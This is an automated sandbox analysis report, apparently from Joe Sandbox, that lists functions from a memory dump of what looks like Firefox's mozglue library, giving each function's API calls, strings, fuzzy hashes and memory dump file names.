API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 6C6A9D00 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Strings

!oi/, xrefs: 6C6A9D0E

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID: !oi/
API String ID: 956590011-845032489
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C67C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C67C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C67C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C67C891

Strings

nan, xrefs: 6C67C7A8
INF, xrefs: 6C67C794
NAN, xrefs: 6C67C7AD
inf, xrefs: 6C67C78F

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction ID: cc99c5c77600d26ef2be13eca573c25623f929f90bd9dbf0f00d6d2fa080d3d4
Opcode Fuzzy Hash: 6a6d99bf2aa247250106ce3e01f91a0a30a20dcc70c9f36e39c26d4f5c5240a7
Instruction Fuzzy Hash: 95519170A087449BD710EF2CC58169AFBF0BF8A308F008E2DE9D5A7651E771D9858B5B

Function 6C6B5D10 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Strings

!oi/, xrefs: 6C6B5D19

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID: !oi/
API String ID: 2325513730-845032489
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C669620 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

ntdll.dll, xrefs: 6C6696E3
NtMapViewOfSection, xrefs: 6C669701
MapViewOfFileNuma2, xrefs: 6C6697B1
!oi/, xrefs: 6C66959E, 6C669632
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: !oi/$Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-245951286
Opcode ID: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction ID: c58beb77730c3bb50b81c3ab3c95484078194ae74635b95675cd758bd60d9ed7
Opcode Fuzzy Hash: 35d76fc3de0d189954486bef354baa94a85d1ca9c51e24e14303b3a6d5a3e6f7
Instruction Fuzzy Hash: 38418F757002069BDF00CFA7E8D4AD67BB4EB4A768F014529ED1597B80D730B805CFAA

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 6C6A0F40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A0F88
GetCurrentThreadId.KERNEL32 ref: 6C6A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C6A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C6A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C6A114B

Part of subcall function 6C698AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C6B1563), ref: 6C698BD5

free.MOZGLUE(?), ref: 6C6A1174
free.MOZGLUE(?), ref: 6C6A1186

Strings

!oi/, xrefs: 6C6A0F58

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: !oi/
API String ID: 2803333873-845032489
Opcode ID: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction ID: 49dfba786d0adaa59ed0ba26cdbba3b7503cfec9f4aa35b290351c3b2a6838aa
Opcode Fuzzy Hash: b9d50b2a4b8431f7868675881a5dcfdc2c95544afed3b4fb2e42252ad135d9da
Instruction Fuzzy Hash: F961C3756043409FDB10CF65C88079AB7F5BFCA308F04891DE98957712EB31E95ACB9A

Function 6C667E90 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C667EA7
malloc.MOZGLUE(00000001), ref: 6C667EB3

Part of subcall function 6C66CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C66CB49
Part of subcall function 6C66CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C66CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C667EC4
mozalloc_abort.MOZGLUE(?), ref: 6C667F19
malloc.MOZGLUE(?), ref: 6C667F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C667F4D

Strings

d, xrefs: 6C667F89
!oi/, xrefs: 6C667E9C, 6C667F2B

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: !oi/$d
API String ID: 204725295-2356189006
Opcode ID: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction ID: e830ebfc37e3d5da22a8c8654ceb0f7c4ca94ed4ed5000a78e94d46f495ec9d3
Opcode Fuzzy Hash: bbc1749df10a620292a47fcfc72db2247c521bb044989b3b1666867bd625702f
Instruction Fuzzy Hash: 4C312A61E0438897DB009B2ACC449FEF778EF96308F045229DD4997612FB30B6C8C399

Function 6C6CB540 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Strings

!oi/, xrefs: 6C6CB54B

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID: !oi/
API String ID: 1276798925-845032489
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C65ECD0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1
!oi/, xrefs: 6C65ECDC

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: !oi/$\Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-133982677
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

0, xrefs: 6C6CA5FB
!oi/, xrefs: 6C6CA539
z, xrefs: 6C6CA6AE

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: !oi/$0$z
API String ID: 310210123-1808073995
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C6A1D00 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Strings

!oi/, xrefs: 6C6A1D83

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID: !oi/
API String ID: 1880959753-845032489
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C661640 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Strings

!oi/, xrefs: 6C66164C

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID: !oi/
API String ID: 375572348-845032489
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
